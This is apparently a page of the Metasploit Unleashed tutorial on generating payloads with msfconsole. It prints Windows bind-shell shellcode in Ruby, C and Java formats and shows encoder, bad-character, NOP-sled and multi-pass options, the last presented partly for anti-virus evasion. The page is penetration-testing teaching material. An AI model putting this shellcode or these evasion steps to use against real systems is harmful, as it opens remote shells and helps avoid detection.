Generating Payloads a11y.text Generating Payloads Generate a Payload for Metasploit a11y.text Generate a Payload for Metasploit During exploit development, you will most certainly need to generate shellcode to use in your exploit. In Metasploit, payloads can be generated from within the msfconsole . When you use a certain payload, Metasploit adds the generate , pry , and reload commands. Generate will be the primary focus of this section in learning how to use Metasploit. msf > use payload/windows/shell_bind_tcp

msf payload(shell_bind_tcp) > help

...snip...

Command Description

------- -----------

generate Generates a payload

pry Open a Pry session on the current module

reload Reload the current module from disk Letâ€™s start by looking at the various options for the generate command by running it with the -h switch. msf payload(shell_bind_tcp) > generate -h

Usage: generate [options]

Generates a payload.

OPTIONS:

-E Force encoding.

-b The list of characters to avoid: '\x00\xff'

-e The name of the encoder module to use.

-f The output file name (otherwise stdout)

-h Help banner.

-i the number of encoding iterations.

-k Keep the template executable functional

-o A comma separated list of options in VAR=VAL format.

-p The Platform for output.

-s NOP sled length.

-t The output format:

raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vbs,loop-vbs,asp,war

-x The executable template to use To generate shellcode without any options, simply execute the generate command. msf payload(shell_bind_tcp) > generate

```
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" +
```

"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" +

"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50" +

"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x31" +

"\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68" +

"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff" +

"\xd5\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7" +

"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3" +

"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44" +

"\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56" +

"\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86" +

"\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60" +

"\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5" +

"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f" +

"\x6a\x00\x53\xff\xd5" Of course the odds of generating shellcode like this without any sort of â€˜tweekingâ€™ are rather low. More often than not, bad characters and specific types of encoders will be used depending on the targeted machine. The sample code above contains an almost universal bad character, the null byte (\x00). Granted some exploits allow us to use it but not many. Letâ€™s generate the same shellcode only this time we will instruct Metasploit to remove this unwanted byte. To accomplish this, we issue the generate command followed by the -b switch with accompanying bytes we wish to be disallowed during the generation process. msf payload(shell_bind_tcp) > generate -b '\x00'

windows/shell_bind_tcp - 368 bytes

http://www.metasploit.com

Encoder: x86/shikata_ga_nai

VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,

InitialAutoRunScript=, AutoRunScript=

buf =

"\xdb\xde\xba\x99\x7c\x1b\x5f\xd9\x74\x24\xf4\x5e\x2b\xc9" +

"\xb1\x56\x83\xee\xfc\x31\x56\x14\x03\x56\x8d\x9e\xee\xa3" +

"\x45\xd7\x11\x5c\x95\x88\x98\xb9\xa4\x9a\xff\xca\x94\x2a" +

"\x8b\x9f\x14\xc0\xd9\x0b\xaf\xa4\xf5\x3c\x18\x02\x20\x72" +

"\x99\xa2\xec\xd8\x59\xa4\x90\x22\x8d\x06\xa8\xec\xc0\x47" +

"\xed\x11\x2a\x15\xa6\x5e\x98\x8a\xc3\x23\x20\xaa\x03\x28" +

"\x18\xd4\x26\

...snip... Looking at this shellcode itâ€™s easy to see, compared to the previously generated bind shell, the null bytes have been successfully removed. Thus giving us a null byte free payload. We also see other significant differences as well, due to the change we enforced during generation. One difference is the shellcodeâ€™s total byte size. In our previous iteration the size was 341 bytes, this new shellcode is 27 bytes larger. msf payload(shell_bind_tcp) > generate

windows/shell_bind_tcp - 341 bytes

http://www.metasploit.com

VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,

...snip...

msf payload(shell_bind_tcp) > generate -b '\x00'

windows/shell_bind_tcp - 368 bytes

http://www.metasploit.com

Encoder: x86/shikata_ga_nai

...snip... During generation, the null bytesâ€™ original intent, or usefulness in the code, needed to be replaced (or encoded) in order to ensure, once in memory, our bind shell remains functional. Another significant change is the added use of an encoder. By default Metasploit will select the best encoder to accomplish the task at hand. The encoder is responsible for removing unwanted

characters (amongst other things) entered when using the -b switch. Weâ€™ll discuss encoders in greater detail later on. When specifying bad characters the framework will use the best encoder for the job. The x86/shikata_ga_nai encoder was used when only the null byte was restricted during the codeâ€™s generation. If we add a few more bad characters a different encoder may be used to accomplish the same task. Lets add several more bytes to the list and see what happens. msf payload(shell_bind_tcp) > generate -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b'

windows/shell_bind_tcp - 366 bytes

http://www.metasploit.com

Encoder: x86/fnstenv_mov

VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,

InitialAutoRunScript=, AutoRunScript=

buf =

"\x6a\x56\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xbf" +

"\x5c\xbf\xe8\x83\xeb\xfc\...

...snip... We see a different encoder was used in order to successfully remove our unwanted bytes. Shikata_ga_nai was probably incapable of encoding our payload using our restricted byte list. Fnstenv_mov on the other hand was able to accomplish this. Payload Generation Failed a11y.text Payload Generation Failed Having the ability to generate shellcode without the use of certain characters is one of the great features offered by this framework. That doesnâ€™t mean itâ€™s limitless.

If too many restricted bytes are given no encoder may be up for the task. At which point Metasploit will display the following message. msf payload(shell_bind_tcp) > generate -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b\xFF\x0a\x0b\x01\xcc\6e\x1e\x2e\x26'

[-] Payload generation failed: No encoders encoded the buffer successfully. Itâ€™s like removing too may letters from the alphabet and asking someone to write a full sentence. Sometimes it just canâ€™t be done. UsingÂ an Encoder During Payload Generation a11y.text UsingÂ an Encoder

During Payload Generation As mentioned previously the framework will choose the best encoder possible when generating our payload. However there are times when one needs to use a specific type, regardless of what Metasploit thinks. Imagine an exploit that will only successfully execute provided it only contains non-alphanumeric characters. The â€˜shikata_ga_naiâ€™ encoder would not be appropriate in this case as it uses pretty much every character available to encode. Looking at the encoder list, we see the x86/nonalpha encoder is present. msf payload(shell_bind_tcp) > show encoders

Encoders

========

Name	Disclosure Date	Rank	Description
...snip...			
x86/call4_dword_xor		normal	Call+4 Dword XOR Encoder
x86/context_cpuid		manual	CPUID-based Context Keyed Payload Encoder
x86/context_stat		manual	stat(2)-based Context Keyed Payload Encoder
x86/context_time		manual	time(2)-based Context Keyed Payload Encoder
x86/countdown		normal	Single-byte XOR Countdown Encoder
x86/fnstenv_mov		normal	Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive		normal	Jump/Call XOR Additive Feedback Encoder
x86/context_stat		manual	stat(2)-based Context Keyed Payload Encoder
x86/context_time		manual	time(2)-based Context Keyed Payload Encoder
x86/countdown		normal	Single-byte XOR Countdown Encoder
x86/fnstenv_mov		normal	Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive		normal	Jump/Call XOR Additive Feedback Encoder

x86/nonalpha low Non-Alpha Encoder

x86/nonupper low Non-Upper Encoder

x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder

x86/single_static_bit manual Single Static Bit

x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder

x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder

Letâ€™s redo our bind shell payload but this time weâ€™ll tell the framework to use the â€˜nonalphaâ€™ encoder. We do this by using the -e switch followed by the encoderâ€™s name as displayed in the above list. msf payload(shell_bind_tcp) > generate -e x86/nonalpha

```
# windows/shell_bind_tcp - 489 bytes
# http://www.metasploit.com
# Encoder: x86/nonalpha
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\x66\xb9\xff\xff\xeb\x19\x5e\x8b\xfe\x83\xc7\x70\x8b\xd7" +
"\x3b\xf2\x7d\x0b\xb0\x7b\xf2\xae\xff\xcf\xac\x28\x07\xeb" +
"\xf1\xeb\x75\xe8\xe2\xff\xff\xff\x17\x29\x29\x29\x09\x31" +
"\x1a\x29\x24\x29\x39\x03\x07\x31\x2b\x33\x23\x32\x06\x06" +
"\x23\x23\x15\x30\x23\x37\x1a\x22\x21\x2a\x23\x21\x13\x13" +
"\x04\x08\x27\x13\x2f\x04\x27\x2b\x13\x10\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x13\x28\x13\x11\x25\x24\x13\x14\x28\x24\x13\x28" +
"\x28\x24\x13\x07\x24\x13\x06\x0d\x2e\x1a\x13\x18\x0e\x17" +
"\x24\x24\x24\x11\x22\x25\x15\x37\x37\x37\x27\x2b\x25\x25" +
"\x25\x35\x25\x2d\x25\x25\x28\x25\x13\x02\x2d\x25\x35\x13" +
"\x25\x13\x06\x34\x09\x0c\x11\x28\xfc\xe8\x89\x00\x00\x00" +
```

...snip... If everything went according to plan, our payload will not contain any alphanumeric characters. But we must be careful when using a different encoder other than the default. As it tends to give us a larger payload. For instance, this one is much larger than our previous examples. Our next option on the list is the -f switch. This gives us the ability to save our generated payload to a file instead of displaying it on the screen. As always it follows the generate command with file path. msf payload(shell_bind_tcp) > generate -b '\x00' -e x86/shikata_ga_nai -f /root/msfu/filename.txt

[*] Writing 1803 bytes to /root/msfu/filename.txt...

msf payload(shell_bind_tcp) > cat ~/msfu/filename.txt

[*] exec: cat ~/msfu/filename.txt

windows/shell_bind_tcp - 368 bytes

http://www.metasploit.com

Encoder: x86/shikata_ga_nai

VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,

InitialAutoRunScript=, AutoRunScript=

buf =

"\xdb\xcb\xb8\x4f\xd9\x99\x0f\xd9\x74\x24\xf4\x5a\x2b\xc9" +

"\xb1\x56\x31\x42\x18\x83\xc2\x04\x03\x42\x5b\x3b\x6c\xf3" +

"\x8b\x32\x8f\x0c\x4b\x25\x19\xe9\x7a\x77\x7d\x79\x2e\x47" +

"\xf5\x2f\xc2\x2c\x5b\xc4\x51\x40\x74\xeb\xd2\xef\xa2\xc2" +

"\xe3\xc1\x6a\x88\x27\x43\x17\xd3\x7b\xa3\x26\x1c\x8e\xa2" +

"\x6f\x41\x60\xf6\x38\x0d\xd2\xe7\x4d\x53\xee\x06\x82\xdf" +

"\x4e\x71\xa7\x20\x3a\xcb\xa6\x70\x92\x40\xe0\x68\x99\x0f" +

"\xd1\x89\x4e\x4c\x2d\xc3\xfb\xa7\xc5\xd2\x2d\xf6\x26\xe5" +

...snip... By using the cat command the same way we would from the command shell, we can see our payload was successfully saved to our file. As we can see it is also possible to use more than

one option when generating our shellcode. Generating Payloads with Multiple Passes a11y.text Generating Payloads with Multiple Passes Next on our list of options is the iteration switch -i . In a nutshell, this tells the framework how many encoding passes it must do before producing the final payload. One reason for doing this would be stealth, or anti-virus evasion. Anti-virus evasion is covered in greater detail in another section of MSFU. So letâ€™s compare our bind shell payload generated using 1 iteration versus 2 iteration of the same shellcode. msf payload(shell_bind_tcp) > generate -b '\x00'

windows/shell_bind_tcp - 368 bytes

http://www.metasploit.com

Encoder: x86/shikata_ga_nai

VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,

InitialAutoRunScript=, AutoRunScript=

buf =

"\xdb\xd9\xb8\x41\x07\x94\x72\xd9\x74\x24\xf4\x5b\x2b\xc9" +

"\xb1\x56\x31\x43\x18\x03\x43\x18\x83\xeb\xbd\xe5\x61\x8e" +

"\xd5\x63\x89\x6f\x25\x14\x03\x8a\x14\x06\x77\xde\x04\x96" +

"\xf3\xb2\xa4\x5d\x51\x27\x3f\x13\x7e\x48\x88\x9e\x58\x67" +

"\x09\x2f\x65\x2b\xc9\x31\x19\x36\x1d\x92\x20\xf9\x50\xd3" +

"\x65\xe4\x9a\x81\x3e\x62\x08\x36\x4a\x36\x90\x37\x9c\x3c" +

...snip... msf payload(shell_bind_tcp) > generate -b '\x00' -i 2

windows/shell_bind_tcp - 395 bytes

http://www.metasploit.com

Encoder: x86/shikata_ga_nai

VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,

InitialAutoRunScript=, AutoRunScript=

buf =

"\xbd\xea\x95\xc9\x5b\xda\xcd\xd9\x74\x24\xf4\x5f\x31\xc9" +

"\xb1\x5d\x31\x6f\x12\x83\xc7\x04\x03\x85\x9b\x2b\xae\x80" +

"\x52\x72\x25\x16\x6f\x3d\x73\x9c\x0b\x38\x26\x11\xdd\xf4" +

"\x80\xd2\x1f\xf2\x1d\x96\x8b\xf8\x1f\xb7\x9c\x8f\x65\x96" +

"\xf9\x15\x99\x69\x57\x18\x7b\x09\x1c\xbc\xe6\xb9\xc5\xde" +

"\xc1\x81\xe7\xb8\xdc\x3a\x51\xaa\x34\xc0\x82\x7d\x6e\x45" +

"\xeb\x2b\x27\x08\x79\xfe\x8d\xe3\x2a\xed\x14\xe7\x46\x45" +

...snip... Comparing the two outputs we see the obvious effect the second iteration had on our payload. First of all, the byte size is larger than the first. The more iterations one does the larger our payload will be. Secondly comparing the first few bytes of the highlighted code, we also see they are no longer the same. This is due to the second iteration, or second encoding pass. It encoded our payload once, than took that payload and encoded it again. Lets look at our shellcode and see how much of a difference 5 iterations would make. msf payload(shell_bind_tcp) > generate -b '\x00' -i 5

windows/shell_bind_tcp - 476 bytes

http://www.metasploit.com

Encoder: x86/shikata_ga_nai

VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,

InitialAutoRunScript=, AutoRunScript=

buf =

"\xb8\xea\x18\x9b\x0b\xda\xc4\xd9\x74\x24\xf4\x5b\x33\xc9" +

"\xb1\x71\x31\x43\x13\x83\xeb\xfc\x03\x43\xe5\xfa\x6e\xd2" +

"\x31\x23\xe4\xc1\x35\x8f\x36\xc3\x0f\x94\x11\x23\x54\x64" +

"\x0b\xf2\xf9\x9f\x4f\x1f\x01\x9c\x1c\xf5\xbf\x7e\xe8\xc5" +

"\x94\xd1\xbf\xbb\x96\x64\xef\xc1\x10\x9e\x38\x45\x1b\x65" +

...snip... The change is significant when comparing to all previous outputs. Itâ€™s slightly larger and our bytes are no where near similar. Which would, in theory, make this version of our payload less

prone to detection. Weâ€™ve spent lots of time generating shellcode from the start with default values. In the case of a bind shell the default listening port is 4444. Often this must be changed. We can accomplish this by using the -o switch followed by the value we wish to change. Letâ€™s take a look at which options we can change for this payload. From the msfconsole weâ€™ll issue the show options command. msf payload(shell_bind_tcp) > show options

Module options (payload/windows/shell_bind_tcp):

Name	Current Setting	Required	Description
EXITFUNC	process	yes	Exit technique: seh, thread, process, none
LPORT	4444	yes	The listen port
RHOST		no	The target address By default our shell will listen on port 4444 and the exit function is â€˜processâ€™. Weâ€™ll change this to port 1234 and â€˜sehâ€™ exit function using the -o . The syntax is VARIABLE=VALUE separated by a comma between each option. In this case both the listening port and exit function are changed so the following syntax is used LPORT=1234,EXITFUNC=seh . msf payload(shell_bind_tcp) > generate -o LPORT=1234,EXITFUNC=seh -b '\x00' -e x86/shikata_ga_nai

```
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=1234, RHOST=, EXITFUNC=seh,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xdb\xd1\xd9\x74\x24\xf4\xbb\x93\x49\x9d\x3b\x5a\x29\xc9" +
"\xb1\x56\x83\xc2\x04\x31\x5a\x14\x03\x5a\x87\xab\x68\xc7" +
```

"\x4f\xa2\x93\x38\x8f\xd5\x1a\xdd\xbe\xc7\x79\x95\x92\xd7" +

"\x0a\xfb\x1e\x93\x5f\xe8\x95\xd1\x77\x1f\x1e\x5f\xae\x2e" +

"\x9f\x51\x6e\xfc\x63\xf3\x12\xff\xb7\xd3\x2b\x30\xca\x12" +

"\x6b\x2d\x24\x46\x24\x39\x96\x77\x41\x7f\x2a\x79\x85\x0b" +

"\x12\x01\xa0\xcc\xe6\xbb\xab\x1c\x56\xb7\xe4\x84\xdd\x9f" +

...snip... Payload Generation UsingÂ a NOP Sled a11y.text Payload Generation UsingÂ a NOP Sled Finally lets take a look at the NOP sled length and output format options. When generating payloads the default output format given is â€˜rubyâ€™. Although the ruby language is extremely powerful and popular, not everyone codes in it. We have the capacity to tell the framework to give our payload in different coding formats such as Perl, C and Java for example. Adding a NOP sled at the beginning is also possible when generating our shellcode. First letâ€™s look at a few different output formats and see how the -t switch is used. Like all the other options all that needs to be done is type in the switch followed by the format name as displayed in the help menu. msf payload(shell_bind_tcp) > generate

windows/shell_bind_tcp - 341 bytes

http://www.metasploit.com

VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,

InitialAutoRunScript=, AutoRunScript=

buf =

"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +

"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +

"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +

...snip... msf payload(shell_bind_tcp) > generate -t c

/*

 * windows/shell_bind_tcp - 341 bytes

 * http://www.metasploit.com

```
 * VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
 * InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
...snip... msf  payload(shell_bind_tcp) > generate -t java
/*
 * windows/shell_bind_tcp - 341 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
 * InitialAutoRunScript=, AutoRunScript=
 */
byte shell[] = new byte[]
{
 (byte) 0xfc, (byte) 0xe8, (byte) 0x89, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x60, (byte) 0x89,
 (byte) 0xe5, (byte) 0x31, (byte) 0xd2, (byte) 0x64, (byte) 0x8b, (byte) 0x52, (byte) 0x30, (byte)
0x8b,
 (byte) 0x52, (byte) 0x0c, (byte) 0x8b, (byte) 0x52, (byte) 0x14, (byte) 0x8b, (byte) 0x72, (byte) 0x28,
 (byte) 0x0f, (byte) 0xb7, (byte) 0x4a, (byte) 0x26, (byte) 0x31, (byte) 0xff, (byte) 0x31, (byte) 0xc0,
 (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0xc1,
```

...snip... Looking at the output for the different programming languages, we see that each output adheres to their respective language syntax. A hash â€˜#â€™ is used for comments in Ruby but in C itâ€™s replaced with the slash and asterisk characters â€˜/*â€™ syntax. Looking at all three

outputs, the arrays are properly declared for the language format selected. Making it ready to be copied and pasted into your script. Adding a NOP (No Operation or Next Operation) sled is accomplished with the -s switch followed by the number of NOPs. This will add the sled at the beginning of our payload. Keep in mind the larger the sled the larger the shellcode will be. So adding a 10 NOPs will add 10 bytes to the total size. msf payload(shell_bind_tcp) > generate

windows/shell_bind_tcp - 341 bytes

http://www.metasploit.com

VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,

InitialAutoRunScript=, AutoRunScript=

buf =

"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +

"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +

"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +

...snip... msf payload(shell_bind_tcp) > generate -s 14

windows/shell_bind_tcp - 355 bytes

http://www.metasploit.com

NOP gen: x86/opty2

VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,

InitialAutoRunScript=, AutoRunScript=

buf =

"\xb9\xd5\x15\x9f\x90\x04\xf8\x96\x24\x34\x1c\x98\x14\x4a" +

"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +

"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +

"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +

...snip... The highlighted yellow text shows us our NOP sled at the payloadâ€™s beginning. Comparing the next 3 lines with the shellcode just above, we see they are exactly the same. Total

bytes, as expected, grew by exactly 14 bytes. Next Databases Prev Payload Types